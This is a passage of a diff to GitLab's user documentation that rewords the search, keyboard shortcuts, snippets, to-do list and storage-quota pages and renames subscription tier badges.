**Assignee**, **Milestone**, and **Labels**, select multiple issues to add to a list of your choice: @@ -226,10 +227,14 @@ and **Labels**, select multiple issues to add to a list of your choice: ## Shortcut -GitLab shows a shortcut on the search field on the top-right of the project's dashboard to -quickly access issues and merge requests created or assigned to you in that project: +To view issues and merge requests created or assigned to you in a project: + +1. Go to your project. +1. In the top navigation bar, click the search box to display a list of issues and + merge requests. +1. Select your desired issue or merge request: - +  ### Autocomplete suggestions @@ -246,7 +251,7 @@ You can also type in this search bar to see autocomplete suggestions for: ## Basic search -The Basic search in GitLab is a global search service that allows you to search +The Basic search in GitLab enables you to search across the entire GitLab instance, in a group, or in a single project. Basic search is backed by the database and allows searching in: @@ -288,14 +293,14 @@ redirected to the commit result and given the option to return to the search res  -## Advanced Search **(STARTER)** +## Advanced Search **(PREMIUM)** Leverage Elasticsearch for faster, more advanced code search across your entire GitLab instance. [Learn how to use the Advanced Search.](advanced_global_search.md) -## Advanced Search Syntax **(STARTER)** +## Advanced Search Syntax **(PREMIUM)** Use advanced queries for more targeted search results. @@ -307,7 +312,7 @@ Use advanced queries for more targeted search results. > - It's [deployed behind a feature flag](../feature_flags.md), disabled by default. > - It's disabled on GitLab.com. > - It's not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-search-project-settings). **(CORE ONLY)** +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-search-project-settings). **(FREE SELF)** WARNING: This feature might not be available to you. Check the **version history** note above for details. @@ -318,7 +323,7 @@ appear highlighted in the sections that match the search term.  -### Enable or disable Search project settings **(CORE ONLY)** +### Enable or disable Search project settings **(FREE SELF)** Search project settings is under development and not ready for production use. It is deployed behind a feature flag that is **disabled by default**. diff --git a/doc/user/shortcuts.md b/doc/user/shortcuts.md index 282e3296735..014555cffed 100644 --- a/doc/user/shortcuts.md +++ b/doc/user/shortcuts.md @@ -35,6 +35,7 @@ These shortcuts are available in most areas of GitLab | <kbd>Shift</kbd> + <kbd>m</kbd> | Go to your Merge requests page.| | <kbd>Shift</kbd> + <kbd>t</kbd> | Go to your To-Do List page. | | <kbd>p</kbd> + <kbd>b</kbd> | Show/hide the Performance Bar. | +| <kbd>g</kbd> + <kbd>x</kbd> | Toggle between [GitLab](https://gitlab.com/) and [GitLab Next](https://next.gitlab.com/) (GitLab SaaS only). | Additionally, the following shortcuts are available when editing text in text fields, for example comments, replies, issue descriptions, and merge request descriptions: @@ -42,10 +43,10 @@ for example comments, replies, issue descriptions, and merge request description | Keyboard Shortcut | Description | | ---------------------------------------------------------------------- | ----------- | | <kbd>↑</kbd> | Edit your last comment. You must be in a blank text field below a thread, and you must already have at least one comment in the thread. | -| <kbd>⌘</kbd> (Mac) / <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>p</kbd> | Toggle Markdown preview, when editing text in a text field that has **Write** and **Preview** tabs at the top. | -| <kbd>⌘</kbd> (Mac) / <kbd>Ctrl</kbd> + <kbd>b</kbd> | Bold the selected text (surround it with `**`). | -| <kbd>⌘</kbd> (Mac) / <kbd>Ctrl</kbd> + <kbd>i</kbd> | Italicize the selected text (surround it with `_`). | -| <kbd>⌘</kbd> (Mac) / <kbd>Ctrl</kbd> + <kbd>k</kbd> | Add a link (surround the selected text with `[]()`). | +| <kbd>⌘</kbd> (Mac) / <kbd>Control</kbd> + <kbd>Shift</kbd> + <kbd>p</kbd> | Toggle Markdown preview, when editing text in a text field that has **Write** and **Preview** tabs at the top. | +| <kbd>⌘</kbd> (Mac) / <kbd>Control</kbd> + <kbd>b</kbd> | Bold the selected text (surround it with `**`). | +| <kbd>⌘</kbd> (Mac) / <kbd>Control</kbd> + <kbd>i</kbd> | Italicize the selected text (surround it with `_`). | +| <kbd>⌘</kbd> (Mac) / <kbd>Control</kbd> + <kbd>k</kbd> | Add a link (surround the selected text with `[]()`). | NOTE: The shortcuts for editing in text fields are always enabled, even when @@ -104,7 +105,7 @@ These shortcuts are available when browsing the files in a project (navigate to | <kbd>↑</kbd> | Move selection up. | | <kbd>↓</kbd> | Move selection down. | | <kbd>enter</kbd> | Open selection. | -| <kbd>esc</kbd> | Go back to file list screen (only while searching for files, **Repository > Files** then click on **Find File**). | +| <kbd>Escape</kbd> | Go back to file list screen (only while searching for files, **Repository > Files** then click on **Find File**). | | <kbd>y</kbd> | Go to file permalink (only while viewing a file). | ### Web IDE @@ -113,8 +114,8 @@ These shortcuts are available when editing a file with the [Web IDE](project/web | Keyboard Shortcut | Description | | ------------------------------------------------------- | ----------- | -| <kbd>⌘</kbd> (Mac) / <kbd>Ctrl</kbd> + <kbd>p</kbd> | Search for, and then open another file for editing. | -| <kbd>⌘</kbd> (Mac) / <kbd>Ctrl</kbd> + <kbd>Enter</kbd> | Commit (when editing the commit message). | +| <kbd>⌘</kbd> (Mac) / <kbd>Control</kbd> + <kbd>p</kbd> | Search for, and then open another file for editing. | +| <kbd>⌘</kbd> (Mac) / <kbd>Control</kbd> + <kbd>Enter</kbd> | Commit (when editing the commit message). | ### Repository Graph @@ -145,7 +146,7 @@ These shortcuts are available when using a [filtered search input](search/index. | Keyboard Shortcut | Description | | ----------------------------------------------------- | ----------- | | <kbd>⌘</kbd> (Mac) + <kbd>⌫</kbd> | Clear entire search filter. | -| <kbd>⌥</kbd> (Mac) / <kbd>Ctrl</kbd> + <kbd>⌫</kbd> | Clear one token at a time. | +| <kbd>⌥</kbd> (Mac) / <kbd>Control</kbd> + <kbd>⌫</kbd> | Clear one token at a time. | ## Epics **(ULTIMATE)** diff --git a/doc/user/snippets.md b/doc/user/snippets.md index af499221da6..e919e73f404 100644 --- a/doc/user/snippets.md +++ b/doc/user/snippets.md @@ -65,8 +65,8 @@ have version control enabled by default. This means that all snippets get their own underlying repository initialized with a `master` branch at the moment the snippet is created. Whenever a change to the snippet is saved, a -new commit to the master branch is recorded. Commit messages are automatically -generated. The snippet's repository has only one branch (master) by default, deleting +new commit to the `master` branch is recorded. Commit messages are automatically +generated. The snippet's repository has only one branch (`master`) by default, deleting it or creating other branches is not supported. Existing snippets are automatically migrated in 13.0. Their current @@ -75,14 +75,14 @@ content is saved as the initial commit to the snippets' repository. ### Filenames Snippets support syntax highlighting based on the filename and -extension provided for them. While it is possible to submit a snippet +extension provided for them. While you can submit a snippet without specifying a filename and extension, it needs a valid name so the content can be created as a file in the snippet's repository. -In case the user does not attribute a filename and extension to a snippet, -GitLab automatically adds a filename in the format `snippetfile<x>.txt` +If you don't attribute a filename and extension to a snippet, +GitLab adds a filename in the format `snippetfile<x>.txt` where `<x>` represents a number added to the file, starting with 1. This -number increases incrementally when more snippets without an attributed +number increments when more snippets without an attributed filename are added. When upgrading from an earlier version of GitLab to 13.0, existing snippets @@ -96,14 +96,15 @@ direct or embedded links to the snippet. > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2829) in GitLab 13.5. -GitLab Snippets support multiple files in one single snippet. It can be very handy +GitLab Snippets support multiple files in one single snippet. This is helpful when your code snippet is composed of multiple parts or when they relate to a certain context. For example: - A snippet that includes a script and its output. - A snippet that includes HTML, CSS, and JS code. - A snippet with a `docker-compose.yml` file and its associated `.env` file. -- A `gulpfile.js` file coupled with a `package.json` file, which together can be used to bootstrap a project and manage its dependencies. +- A `gulpfile.js` file coupled with a `package.json` file, which together can be + used to bootstrap a project and manage its dependencies. Snippets support between 1 and 10 files. They can be managed via Git (because they're [versioned](#versioned-snippets) by a Git repository), through the [Snippets API](../api/snippets.md), or in the GitLab UI. @@ -135,7 +136,7 @@ button above the snippet content to copy the URL of your choice. This allows you to have a local copy of the snippet's repository and make changes as needed. You can commit those changes and push them to the remote -master branch. +`master` branch. ### Reduce snippets repository size @@ -148,15 +149,15 @@ see the documentation on [reducing repository size](../user/project/repository/r ### Limitations - Binary files are not supported. -- Creating or deleting branches is not supported. Only a default *master* branch is used. +- Creating or deleting branches is not supported. Only a default `master` branch is used. - Git tags are not supported in snippet repositories. - Snippets' repositories are limited to 10 files. Attempting to push more -than 10 files results in an error. -- Revisions are not *yet* visible to the user on the GitLab UI, but -it's planned to be added in future iterations. See the [revisions tab issue](https://gitlab.com/gitlab-org/gitlab/-/issues/39271) -for updates. + than 10 files results in an error. +- Revisions are not visible to the user on the GitLab UI, but this feature is planned + in future iterations. See the [revisions tab issue](https://gitlab.com/gitlab-org/gitlab/-/issues/39271) + for updates. - The [maximum size for a snippet](../administration/snippets/index.md#snippets-content-size-limit) -is 50 MB, by default. + is 50 MB, by default. - Git LFS is not supported. ## Discover snippets @@ -168,10 +169,10 @@ dashboard of your GitLab instance via the top navigation. For GitLab.com you can navigate to an [overview]((https://gitlab.com/dashboard/snippets)) that shows snippets you created and allows you to explore all snippets. -If you want to discover snippets that belong to a specific project, you can navigate +To discover snippets that belong to a specific project, navigate to the Snippets page via the left side navigation on the project page. -Project snippets are enabled and available by default, but they can -be disabled by navigating to your project's **Settings**, expanding +Project snippets are enabled and available by default. You can +disable them by navigating to your project's **Settings**, expanding **Visibility, project features, permissions** and scrolling down to **Snippets**. From there, you can toggle to disable them or select a different visibility level from the dropdown menu. @@ -181,7 +182,7 @@ different visibility level from the dropdown menu. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/12910) in GitLab 9.2. With GitLab Snippets you engage in a conversation about that piece of code, -facilitating the collaboration among users. +encouraging user collaboration. ## Downloading snippets @@ -207,20 +208,23 @@ To embed a snippet, first make sure that: - In **Project > Settings > Permissions**, the snippets permissions are set to **Everyone with access** -After the above conditions are met, the "Embed" section appears in your -snippet where you can simply click on the "Copy" button. This copies a one-line -script that you can add to any website or blog post. - -Here's how an example code looks like: +After the above conditions are met, the **Embed** section appears in your +snippet. Click the **Copy** button to copy a one-line +script that you can add to any website or blog post. For example: ```html <script src="https://gitlab.com/namespace/project/snippets/SNIPPET_ID.js"></script> ``` -Here's how an embedded snippet looks like: +Here's what an embedded snippet looks like: <script src="https://gitlab.com/gitlab-org/gitlab-foss/snippets/1717978.js"></script> -Embedded snippets are displayed with a header that shows the filename if it's defined, -the snippet size, a link to GitLab, and the actual snippet content. Actions in -the header allow users to see the snippet in raw format and download it. +Embedded snippets are displayed with a header that shows: + +- The filename, if defined. +- The snippet size. +- A link to GitLab. +- The actual snippet content. + +Actions in the header enable users to see the snippet in raw format, and download it. diff --git a/doc/user/todos.md b/doc/user/todos.md index 27a849719c5..57ab7d4d888 100644 --- a/doc/user/todos.md +++ b/doc/user/todos.md @@ -5,7 +5,7 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab To-Do List **(CORE)** +# GitLab To-Do List **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/2817) in GitLab 8.5. diff --git a/doc/user/upgrade_email_bypass.md b/doc/user/upgrade_email_bypass.md index e50b6959a70..183ce5e4312 100644 --- a/doc/user/upgrade_email_bypass.md +++ b/doc/user/upgrade_email_bypass.md @@ -116,7 +116,7 @@ LDAP Users remain confirmed if all of the following conditions are met: - The ["User email confirmation at sign-up" option](../security/user_email_confirmation.md) is set to false. - The first sign-in is based on user LDAP credentials. -- The user has added and verified [a secondary email address](profile/index.md#profile-settings) some time later. +- The user has added and verified [a secondary email address](profile/index.md#user-settings) some time later. NOTE: Confirmation timestamps (primary vs. secondary) are different. @@ -124,6 +124,6 @@ Confirmation timestamps (primary vs. secondary) are different. Users remain unconfirmed by the background migration if any of the following conditions are met: - They [create an account through GitLab](profile/account/create_accounts.md). -- They [swap their primary email address](profile/index.md#profile-settings) and verify it. +- They [swap their primary email address](profile/index.md#user-settings) and verify it. - If they have two email addresses with the same `confirmed_at` timestamp due to the linked [security issue](https://gitlab.com/gitlab-org/gitlab/-/issues/121664). - [LDAP is introduced](../administration/auth/ldap/index.md), and users' primary email address matches that in LDAP. diff --git a/doc/user/usage_quotas.md b/doc/user/usage_quotas.md index 8662efc03a7..16ba2582101 100644 --- a/doc/user/usage_quotas.md +++ b/doc/user/usage_quotas.md @@ -1,13 +1,13 @@ --- type: howto stage: Fulfillment -group: Provision +group: Utilization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- # Storage usage quota -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/13294) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.0. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/13294) in GitLab 12.0. > - Moved to GitLab Free. A project's repository has a free storage quota of 10 GB. When a project's repository reaches @@ -32,11 +32,11 @@ namespace to trigger a recalculation. A stacked bar graph shows the proportional storage used for the namespace, including a total per storage item. Click on each project's title to see a breakdown per storage item. -## Storage usage statistics **(BRONZE ONLY)** +## Storage usage statistics > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247831) in GitLab 13.7. > - It's [deployed behind a feature flag](../user/feature_flags.md), enabled by default. -> - It's enabled on GitLab.com. +> - It's enabled on GitLab SaaS. > - It's recommended for production use. WARNING: |
